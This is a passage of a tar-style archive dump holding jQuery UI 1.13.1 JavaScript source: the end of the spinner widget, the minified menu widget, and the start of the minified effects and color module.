"aria-hidden", true ) .button( { classes: { "ui-button": "" } } ); // TODO: Right now button does not support classes this is already updated in button PR this._removeClass( this.buttons, "ui-corner-all" ); this._addClass( this.buttons.first(), "ui-spinner-button ui-spinner-up" ); this._addClass( this.buttons.last(), "ui-spinner-button ui-spinner-down" ); this.buttons.first().button( { "icon": this.options.icons.up, "showLabel": false } ); this.buttons.last().button( { "icon": this.options.icons.down, "showLabel": false } ); // IE 6 doesn't understand height: 50% for the buttons // unless the wrapper has an explicit height if ( this.buttons.height() > Math.ceil( this.uiSpinner.height() * 0.5 ) && this.uiSpinner.height() > 0 ) { this.uiSpinner.height( this.uiSpinner.height() ); } }, _keydown: function( event ) { var options = this.options, keyCode = $.ui.keyCode; switch ( event.keyCode ) { case keyCode.UP: this._repeat( null, 1, event ); return true; case keyCode.DOWN: this._repeat( null, -1, event ); return true; case keyCode.PAGE_UP: this._repeat( null, options.page, event ); return true; case keyCode.PAGE_DOWN: this._repeat( null, -options.page, event ); return true; } return false; }, _start: function( event ) { if ( !this.spinning && this._trigger( "start", event ) === false ) { return false; } if ( !this.counter ) { this.counter = 1; } this.spinning = true; return true; }, _repeat: function( i, steps, event ) { i = i || 500; clearTimeout( this.timer ); this.timer = this._delay( function() { this._repeat( 40, steps, event ); }, i ); this._spin( steps * this.options.step, event ); }, _spin: function( step, event ) { var value = this.value() || 0; if ( !this.counter ) { this.counter = 1; } value = this._adjustValue( value + step * this._increment( this.counter ) ); if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false ) { this._value( value ); this.counter++; } }, _increment: function( i ) { var incremental = this.options.incremental; if ( incremental ) { return typeof incremental === "function" ? incremental( i ) : Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 ); } return 1; }, _precision: function() { var precision = this._precisionOf( this.options.step ); if ( this.options.min !== null ) { precision = Math.max( precision, this._precisionOf( this.options.min ) ); } return precision; }, _precisionOf: function( num ) { var str = num.toString(), decimal = str.indexOf( "." ); return decimal === -1 ? 0 : str.length - decimal - 1; }, _adjustValue: function( value ) { var base, aboveMin, options = this.options; // Make sure we're at a valid step // - find out where we are relative to the base (min or 0) base = options.min !== null ? options.min : 0; aboveMin = value - base; // - round to the nearest step aboveMin = Math.round( aboveMin / options.step ) * options.step; // - rounding is based on 0, so adjust back to our base value = base + aboveMin; // Fix precision from bad JS floating point math value = parseFloat( value.toFixed( this._precision() ) ); // Clamp the value if ( options.max !== null && value > options.max ) { return options.max; } if ( options.min !== null && value < options.min ) { return options.min; } return value; }, _stop: function( event ) { if ( !this.spinning ) { return; } clearTimeout( this.timer ); clearTimeout( this.mousewheelTimer ); this.counter = 0; this.spinning = false; this._trigger( "stop", event ); }, _setOption: function( key, value ) { var prevValue, first, last; if ( key === "culture" || key === "numberFormat" ) { prevValue = this._parse( this.element.val() ); this.options[ key ] = value; this.element.val( this._format( prevValue ) ); return; } if ( key === "max" || key === "min" || key === "step" ) { if ( typeof value === "string" ) { value = this._parse( value ); } } if ( key === "icons" ) { first = this.buttons.first().find( ".ui-icon" ); this._removeClass( first, null, this.options.icons.up ); this._addClass( first, null, value.up ); last = this.buttons.last().find( ".ui-icon" ); this._removeClass( last, null, this.options.icons.down ); this._addClass( last, null, value.down ); } this._super( key, value ); }, _setOptionDisabled: function( value ) { this._super( value ); this._toggleClass( this.uiSpinner, null, "ui-state-disabled", !!value ); this.element.prop( "disabled", !!value ); this.buttons.button( value ? "disable" : "enable" ); }, _setOptions: spinnerModifier( function( options ) { this._super( options ); } ), _parse: function( val ) { if ( typeof val === "string" && val !== "" ) { val = window.Globalize && this.options.numberFormat ? Globalize.parseFloat( val, 10, this.options.culture ) : +val; } return val === "" || isNaN( val ) ? null : val; }, _format: function( value ) { if ( value === "" ) { return ""; } return window.Globalize && this.options.numberFormat ? Globalize.format( value, this.options.numberFormat, this.options.culture ) : value; }, _refresh: function() { this.element.attr( { "aria-valuemin": this.options.min, "aria-valuemax": this.options.max, // TODO: what should we do with values that can't be parsed? "aria-valuenow": this._parse( this.element.val() ) } ); }, isValid: function() { var value = this.value(); // Null is invalid if ( value === null ) { return false; } // If value gets adjusted, it's invalid return value === this._adjustValue( value ); }, // Update the value without triggering change _value: function( value, allowAny ) { var parsed; if ( value !== "" ) { parsed = this._parse( value ); if ( parsed !== null ) { if ( !allowAny ) { parsed = this._adjustValue( parsed ); } value = this._format( parsed ); } } this.element.val( value ); this._refresh(); }, _destroy: function() { this.element .prop( "disabled", false ) .removeAttr( "autocomplete role aria-valuemin aria-valuemax aria-valuenow" ); this.uiSpinner.replaceWith( this.element ); }, stepUp: spinnerModifier( function( steps ) { this._stepUp( steps ); } ), _stepUp: function( steps ) { if ( this._start() ) { this._spin( ( steps || 1 ) * this.options.step ); this._stop(); } }, stepDown: spinnerModifier( function( steps ) { this._stepDown( steps ); } ), _stepDown: function( steps ) { if ( this._start() ) { this._spin( ( steps || 1 ) * -this.options.step ); this._stop(); } }, pageUp: spinnerModifier( function( pages ) { this._stepUp( ( pages || 1 ) * this.options.page ); } ), pageDown: spinnerModifier( function( pages ) { this._stepDown( ( pages || 1 ) * this.options.page ); } ), value: function( newVal ) { if ( !arguments.length ) { return this._parse( this.element.val() ); } spinnerModifier( this._value ).call( this, newVal ); }, widget: function() { return this.uiSpinner; } } ); // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for spinner html extension points $.widget( "ui.spinner", $.ui.spinner, { _enhance: function() { this.uiSpinner = this.element .attr( "autocomplete", "off" ) .wrap( this._uiSpinnerHtml() ) .parent() // Add buttons .append( this._buttonHtml() ); }, _uiSpinnerHtml: function() { return "<span>"; }, _buttonHtml: function() { return "<a></a><a></a>"; } } ); } return $.ui.spinner; } ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/menu.min.js����������������������������������������������������������������������������0000644�����������������00000023602�14717703502�0011211 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Menu 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(a){"use strict";return a.widget("ui.menu",{version:"1.13.1",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.lastMousePosition={x:null,y:null},this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(e){e.preventDefault(),this._activateItem(e)},"click .ui-menu-item":function(e){var t=a(e.target),i=a(a.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&t.not(".ui-state-disabled").length&&(this.select(e),e.isPropagationStopped()||(this.mouseHandled=!0),t.has(".ui-menu").length?this.expand(e):!this.element.is(":focus")&&i.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":"_activateItem","mousemove .ui-menu-item":"_activateItem",mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(e,t){var i=this.active||this._menuItems().first();t||this.focus(e,i)},blur:function(e){this._delay(function(){a.contains(this.element[0],a.ui.safeActiveElement(this.document[0]))||this.collapseAll(e)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(e){this._closeOnDocumentClick(e)&&this.collapseAll(e,!0),this.mouseHandled=!1}})},_activateItem:function(e){var t,i;this.previousFilter||e.clientX===this.lastMousePosition.x&&e.clientY===this.lastMousePosition.y||(this.lastMousePosition={x:e.clientX,y:e.clientY},t=a(e.target).closest(".ui-menu-item"),i=a(e.currentTarget),t[0]!==i[0]||i.is(".ui-state-active")||(this._removeClass(i.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(e,i)))},_destroy:function(){var e=this.element.find(".ui-menu-item").removeAttr("role aria-disabled").children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),e.children().each(function(){var e=a(this);e.data("ui-menu-submenu-caret")&&e.remove()})},_keydown:function(e){var t,i,s,n=!0;switch(e.keyCode){case a.ui.keyCode.PAGE_UP:this.previousPage(e);break;case a.ui.keyCode.PAGE_DOWN:this.nextPage(e);break;case a.ui.keyCode.HOME:this._move("first","first",e);break;case a.ui.keyCode.END:this._move("last","last",e);break;case a.ui.keyCode.UP:this.previous(e);break;case a.ui.keyCode.DOWN:this.next(e);break;case a.ui.keyCode.LEFT:this.collapse(e);break;case a.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(e);break;case a.ui.keyCode.ENTER:case a.ui.keyCode.SPACE:this._activate(e);break;case a.ui.keyCode.ESCAPE:this.collapse(e);break;default:t=this.previousFilter||"",s=n=!1,i=96<=e.keyCode&&e.keyCode<=105?(e.keyCode-96).toString():String.fromCharCode(e.keyCode),clearTimeout(this.filterTimer),i===t?s=!0:i=t+i,t=this._filterMenuItems(i),(t=s&&-1!==t.index(this.active.next())?this.active.nextAll(".ui-menu-item"):t).length||(i=String.fromCharCode(e.keyCode),t=this._filterMenuItems(i)),t.length?(this.focus(e,t),this.previousFilter=i,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}n&&e.preventDefault()},_activate:function(e){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(e):this.select(e))},refresh:function(){var e,t,s=this,n=this.options.icons.submenu,i=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),e=i.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var e=a(this),t=e.prev(),i=a("<span>").data("ui-menu-submenu-caret",!0);s._addClass(i,"ui-menu-icon","ui-icon "+n),t.attr("aria-haspopup","true").prepend(i),e.attr("aria-labelledby",t.attr("id"))}),this._addClass(e,"ui-menu","ui-widget ui-widget-content ui-front"),(e=i.add(this.element).find(this.options.items)).not(".ui-menu-item").each(function(){var e=a(this);s._isDivider(e)&&s._addClass(e,"ui-menu-divider","ui-widget-content")}),t=(i=e.not(".ui-menu-item, .ui-menu-divider")).children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(i,"ui-menu-item")._addClass(t,"ui-menu-item-wrapper"),e.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!a.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(e,t){var i;"icons"===e&&(i=this.element.find(".ui-menu-icon"),this._removeClass(i,null,this.options.icons.submenu)._addClass(i,null,t.submenu)),this._super(e,t)},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",String(e)),this._toggleClass(null,"ui-state-disabled",!!e)},focus:function(e,t){var i;this.blur(e,e&&"focus"===e.type),this._scrollIntoView(t),this.active=t.first(),i=this.active.children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",i.attr("id")),i=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),e&&"keydown"===e.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),(i=t.children(".ui-menu")).length&&e&&/^mouse/.test(e.type)&&this._startOpening(i),this.activeMenu=t.parent(),this._trigger("focus",e,{item:t})},_scrollIntoView:function(e){var t,i,s;this._hasScroll()&&(t=parseFloat(a.css(this.activeMenu[0],"borderTopWidth"))||0,i=parseFloat(a.css(this.activeMenu[0],"paddingTop"))||0,t=e.offset().top-this.activeMenu.offset().top-t-i,i=this.activeMenu.scrollTop(),s=this.activeMenu.height(),e=e.outerHeight(),t<0?this.activeMenu.scrollTop(i+t):s<t+e&&this.activeMenu.scrollTop(i+t-s+e))},blur:function(e,t){t||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",e,{item:this.active}),this.active=null)},_startOpening:function(e){clearTimeout(this.timer),"true"===e.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(e)},this.delay))},_open:function(e){var t=a.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(e.parents(".ui-menu")).hide().attr("aria-hidden","true"),e.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(t)},collapseAll:function(t,i){clearTimeout(this.timer),this.timer=this._delay(function(){var e=i?this.element:a(t&&t.target).closest(this.element.find(".ui-menu"));e.length||(e=this.element),this._close(e),this.blur(t),this._removeClass(e.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=e},i?0:this.delay)},_close:function(e){(e=e||(this.active?this.active.parent():this.element)).find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(e){return!a(e.target).closest(".ui-menu").length},_isDivider:function(e){return!/[^\-\u2014\u2013\s]/.test(e.text())},collapse:function(e){var t=this.active&&this.active.parent().closest(".ui-menu-item",this.element);t&&t.length&&(this._close(),this.focus(e,t))},expand:function(e){var t=this.active&&this._menuItems(this.active.children(".ui-menu")).first();t&&t.length&&(this._open(t.parent()),this._delay(function(){this.focus(e,t)}))},next:function(e){this._move("next","first",e)},previous:function(e){this._move("prev","last",e)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_menuItems:function(e){return(e||this.element).find(this.options.items).filter(".ui-menu-item")},_move:function(e,t,i){var s;(s=this.active?"first"===e||"last"===e?this.active["first"===e?"prevAll":"nextAll"](".ui-menu-item").last():this.active[e+"All"](".ui-menu-item").first():s)&&s.length&&this.active||(s=this._menuItems(this.activeMenu)[t]()),this.focus(i,s)},nextPage:function(e){var t,i,s;this.active?this.isLastItem()||(this._hasScroll()?(i=this.active.offset().top,s=this.element.innerHeight(),0===a.fn.jquery.indexOf("3.2.")&&(s+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.nextAll(".ui-menu-item").each(function(){return(t=a(this)).offset().top-i-s<0}),this.focus(e,t)):this.focus(e,this._menuItems(this.activeMenu)[this.active?"last":"first"]())):this.next(e)},previousPage:function(e){var t,i,s;this.active?this.isFirstItem()||(this._hasScroll()?(i=this.active.offset().top,s=this.element.innerHeight(),0===a.fn.jquery.indexOf("3.2.")&&(s+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.prevAll(".ui-menu-item").each(function(){return 0<(t=a(this)).offset().top-i+s}),this.focus(e,t)):this.focus(e,this._menuItems(this.activeMenu).first())):this.next(e)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(e){this.active=this.active||a(e.target).closest(".ui-menu-item");var t={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(e,!0),this._trigger("select",e,t)},_filterMenuItems:function(e){var e=e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),t=new RegExp("^"+e,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return t.test(String.prototype.trim.call(a(this).children(".ui-menu-item-wrapper").text()))})}})});������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect.min.js��������������������������������������������������������������������������0000644�����������������00000041663�14717703502�0011510 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(u){"use strict";u.ui=u.ui||{},u.ui.version="1.13.1";var a=u,n={},e=n.toString,f=/^([\-+])=\s*(\d+\.?\d*)/,t=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[t[1],t[2],t[3],t[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[2.55*t[1],2.55*t[2],2.55*t[3],t[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})?/,parse:function(t){return[parseInt(t[1],16),parseInt(t[2],16),parseInt(t[3],16),t[4]?(parseInt(t[4],16)/255).toFixed(2):1]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])([a-f0-9])?/,parse:function(t){return[parseInt(t[1]+t[1],16),parseInt(t[2]+t[2],16),parseInt(t[3]+t[3],16),t[4]?(parseInt(t[4]+t[4],16)/255).toFixed(2):1]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(t){return[t[1],t[2]/100,t[3]/100,t[4]]}}],l=a.Color=function(t,e,n,r){return new a.Color.fn.parse(t,e,n,r)},d={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},p={byte:{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},s=l.support={},r=a("<p>")[0],h=a.each; /*! * jQuery Color Animations v2.2.0 * https://github.com/jquery/jquery-color * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * Date: Sun May 10 09:02:36 2020 +0200 */function g(t){return null==t?t+"":"object"==typeof t?n[e.call(t)]||"object":typeof t}function m(t,e,n){var r=p[e.type]||{};return null==t?n||!e.def?null:e.def:(t=r.floor?~~t:parseFloat(t),isNaN(t)?e.def:r.mod?(t+r.mod)%r.mod:Math.min(r.max,Math.max(0,t)))}function c(r){var o=l(),i=o._rgba=[];return r=r.toLowerCase(),h(t,function(t,e){var n=e.re.exec(r),n=n&&e.parse(n),e=e.space||"rgba";if(n)return n=o[e](n),o[d[e].cache]=n[d[e].cache],i=o._rgba=n._rgba,!1}),i.length?("0,0,0,0"===i.join()&&a.extend(i,M.transparent),o):M[r]}function o(t,e,n){return 6*(n=(n+1)%1)<1?t+(e-t)*n*6:2*n<1?e:3*n<2?t+(e-t)*(2/3-n)*6:t}r.style.cssText="background-color:rgba(1,1,1,.5)",s.rgba=-1<r.style.backgroundColor.indexOf("rgba"),h(d,function(t,e){e.cache="_"+t,e.props.alpha={idx:3,type:"percent",def:1}}),a.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(t,e){n["[object "+e+"]"]=e.toLowerCase()}),(l.fn=a.extend(l.prototype,{parse:function(o,t,e,n){if(void 0===o)return this._rgba=[null,null,null,null],this;(o.jquery||o.nodeType)&&(o=a(o).css(t),t=void 0);var i=this,r=g(o),s=this._rgba=[];return void 0!==t&&(o=[o,t,e,n],r="array"),"string"===r?this.parse(c(o)||M._default):"array"===r?(h(d.rgba.props,function(t,e){s[e.idx]=m(o[e.idx],e)}),this):"object"===r?(h(d,o instanceof l?function(t,e){o[e.cache]&&(i[e.cache]=o[e.cache].slice())}:function(t,n){var r=n.cache;h(n.props,function(t,e){if(!i[r]&&n.to){if("alpha"===t||null==o[t])return;i[r]=n.to(i._rgba)}i[r][e.idx]=m(o[t],e,!0)}),i[r]&&a.inArray(null,i[r].slice(0,3))<0&&(null==i[r][3]&&(i[r][3]=1),n.from&&(i._rgba=n.from(i[r])))}),this):void 0},is:function(t){var o=l(t),i=!0,s=this;return h(d,function(t,e){var n,r=o[e.cache];return r&&(n=s[e.cache]||e.to&&e.to(s._rgba)||[],h(e.props,function(t,e){if(null!=r[e.idx])return i=r[e.idx]===n[e.idx]})),i}),i},_space:function(){var n=[],r=this;return h(d,function(t,e){r[e.cache]&&n.push(t)}),n.pop()},transition:function(t,s){var t=(f=l(t))._space(),e=d[t],n=0===this.alpha()?l("transparent"):this,a=n[e.cache]||e.to(n._rgba),c=a.slice(),f=f[e.cache];return h(e.props,function(t,e){var n=e.idx,r=a[n],o=f[n],i=p[e.type]||{};null!==o&&(null===r?c[n]=o:(i.mod&&(o-r>i.mod/2?r+=i.mod:r-o>i.mod/2&&(r-=i.mod)),c[n]=m((o-r)*s+r,e)))}),this[t](c)},blend:function(t){if(1===this._rgba[3])return this;var e=this._rgba.slice(),n=e.pop(),r=l(t)._rgba;return l(a.map(e,function(t,e){return(1-n)*r[e]+n*t}))},toRgbaString:function(){var t="rgba(",e=a.map(this._rgba,function(t,e){return null!=t?t:2<e?1:0});return 1===e[3]&&(e.pop(),t="rgb("),t+e.join()+")"},toHslaString:function(){var t="hsla(",e=a.map(this.hsla(),function(t,e){return null==t&&(t=2<e?1:0),t=e&&e<3?Math.round(100*t)+"%":t});return 1===e[3]&&(e.pop(),t="hsl("),t+e.join()+")"},toHexString:function(t){var e=this._rgba.slice(),n=e.pop();return t&&e.push(~~(255*n)),"#"+a.map(e,function(t){return 1===(t=(t||0).toString(16)).length?"0"+t:t}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}})).parse.prototype=l.fn,d.hsla.to=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/255,n=t[1]/255,r=t[2]/255,t=t[3],o=Math.max(e,n,r),i=Math.min(e,n,r),s=o-i,a=o+i,c=.5*a,i=i===o?0:e===o?60*(n-r)/s+360:n===o?60*(r-e)/s+120:60*(e-n)/s+240,o=0==s?0:c<=.5?s/a:s/(2-a);return[Math.round(i)%360,o,c,null==t?1:t]},d.hsla.from=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/360,n=t[1],r=t[2],t=t[3],n=r<=.5?r*(1+n):r+n-r*n,r=2*r-n;return[Math.round(255*o(r,n,e+1/3)),Math.round(255*o(r,n,e)),Math.round(255*o(r,n,e-1/3)),t]},h(d,function(a,t){var e=t.props,i=t.cache,s=t.to,c=t.from;l.fn[a]=function(t){if(s&&!this[i]&&(this[i]=s(this._rgba)),void 0===t)return this[i].slice();var n=g(t),r="array"===n||"object"===n?t:arguments,o=this[i].slice();return h(e,function(t,e){t=r["object"===n?t:e.idx];null==t&&(t=o[e.idx]),o[e.idx]=m(t,e)}),c?((t=l(c(o)))[i]=o,t):l(o)},h(e,function(i,s){l.fn[i]||(l.fn[i]=function(t){var e=g(t),n="alpha"===i?this._hsla?"hsla":"rgba":a,r=this[n](),o=r[s.idx];return"undefined"===e?o:("function"===e&&(e=g(t=t.call(this,o))),null==t&&s.empty?this:("string"===e&&(e=f.exec(t))&&(t=o+parseFloat(e[2])*("+"===e[1]?1:-1)),r[s.idx]=t,this[n](r)))})})}),(l.hook=function(t){t=t.split(" ");h(t,function(t,i){a.cssHooks[i]={set:function(t,e){var n,r,o="";if("transparent"!==e&&("string"!==g(e)||(n=c(e)))){if(e=l(n||e),!s.rgba&&1!==e._rgba[3]){for(r="backgroundColor"===i?t.parentNode:t;(""===o||"transparent"===o)&&r&&r.style;)try{o=a.css(r,"backgroundColor"),r=r.parentNode}catch(t){}e=e.blend(o&&"transparent"!==o?o:"_default")}e=e.toRgbaString()}try{t.style[i]=e}catch(t){}}},a.fx.step[i]=function(t){t.colorInit||(t.start=l(t.elem,i),t.end=l(t.end),t.colorInit=!0),a.cssHooks[i].set(t.elem,t.start.transition(t.end,t.pos))}})})("backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor"),a.cssHooks.borderColor={expand:function(n){var r={};return h(["Top","Right","Bottom","Left"],function(t,e){r["border"+e+"Color"]=n}),r}};var i,b,y,v,x,C,w,k,_,S,M=a.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"},j="ui-effects-",B="ui-effects-style",I="ui-effects-animated";function H(t){var e,n,r=t.ownerDocument.defaultView?t.ownerDocument.defaultView.getComputedStyle(t,null):t.currentStyle,o={};if(r&&r.length&&r[0]&&r[r[0]])for(n=r.length;n--;)"string"==typeof r[e=r[n]]&&(o[e.replace(/-([\da-z])/gi,function(t,e){return e.toUpperCase()})]=r[e]);else for(e in r)"string"==typeof r[e]&&(o[e]=r[e]);return o}function T(t,e,n,r){return t={effect:t=u.isPlainObject(t)?(e=t).effect:t},"function"==typeof(e=null==e?{}:e)&&(r=e,n=null,e={}),"number"!=typeof e&&!u.fx.speeds[e]||(r=n,n=e,e={}),"function"==typeof n&&(r=n,n=null),e&&u.extend(t,e),n=n||e.duration,t.duration=u.fx.off?0:"number"==typeof n?n:n in u.fx.speeds?u.fx.speeds[n]:u.fx.speeds._default,t.complete=r||e.complete,t}function W(t){return!t||"number"==typeof t||u.fx.speeds[t]||("string"==typeof t&&!u.effects.effect[t]||("function"==typeof t||"object"==typeof t&&!t.effect))}function R(t,e){var n=e.outerWidth(),e=e.outerHeight(),t=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/.exec(t)||["",0,n,e,0];return{top:parseFloat(t[1])||0,right:"auto"===t[2]?n:parseFloat(t[2]),bottom:"auto"===t[3]?e:parseFloat(t[3]),left:parseFloat(t[4])||0}}return u.effects={effect:{}},v=["add","remove","toggle"],x={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1},u.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(t,e){u.fx.step[e]=function(t){("none"!==t.end&&!t.setAttr||1===t.pos&&!t.setAttr)&&(a.style(t.elem,e,t.end),t.setAttr=!0)}}),u.fn.addBack||(u.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),u.effects.animateClass=function(o,t,e,n){var i=u.speed(t,e,n);return this.queue(function(){var n=u(this),t=n.attr("class")||"",e=(e=i.children?n.find("*").addBack():n).map(function(){return{el:u(this),start:H(this)}}),r=function(){u.each(v,function(t,e){o[e]&&n[e+"Class"](o[e])})};r(),e=e.map(function(){return this.end=H(this.el[0]),this.diff=function(t,e){var n,r,o={};for(n in e)r=e[n],t[n]===r||x[n]||!u.fx.step[n]&&isNaN(parseFloat(r))||(o[n]=r);return o}(this.start,this.end),this}),n.attr("class",t),e=e.map(function(){var t=this,e=u.Deferred(),n=u.extend({},i,{queue:!1,complete:function(){e.resolve(t)}});return this.el.animate(this.diff,n),e.promise()}),u.when.apply(u,e.get()).done(function(){r(),u.each(arguments,function(){var e=this.el;u.each(this.diff,function(t){e.css(t,"")})}),i.complete.call(n[0])})})},u.fn.extend({addClass:(y=u.fn.addClass,function(t,e,n,r){return e?u.effects.animateClass.call(this,{add:t},e,n,r):y.apply(this,arguments)}),removeClass:(b=u.fn.removeClass,function(t,e,n,r){return 1<arguments.length?u.effects.animateClass.call(this,{remove:t},e,n,r):b.apply(this,arguments)}),toggleClass:(i=u.fn.toggleClass,function(t,e,n,r,o){return"boolean"==typeof e||void 0===e?n?u.effects.animateClass.call(this,e?{add:t}:{remove:t},n,r,o):i.apply(this,arguments):u.effects.animateClass.call(this,{toggle:t},e,n,r)}),switchClass:function(t,e,n,r,o){return u.effects.animateClass.call(this,{add:e,remove:t},n,r,o)}}),u.expr&&u.expr.pseudos&&u.expr.pseudos.animated&&(u.expr.pseudos.animated=(C=u.expr.pseudos.animated,function(t){return!!u(t).data(I)||C(t)})),!1!==u.uiBackCompat&&u.extend(u.effects,{save:function(t,e){for(var n=0,r=e.length;n<r;n++)null!==e[n]&&t.data(j+e[n],t[0].style[e[n]])},restore:function(t,e){for(var n,r=0,o=e.length;r<o;r++)null!==e[r]&&(n=t.data(j+e[r]),t.css(e[r],n))},setMode:function(t,e){return e="toggle"===e?t.is(":hidden")?"show":"hide":e},createWrapper:function(n){if(n.parent().is(".ui-effects-wrapper"))return n.parent();var r={width:n.outerWidth(!0),height:n.outerHeight(!0),float:n.css("float")},t=u("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),e={width:n.width(),height:n.height()},o=document.activeElement;try{o.id}catch(t){o=document.body}return 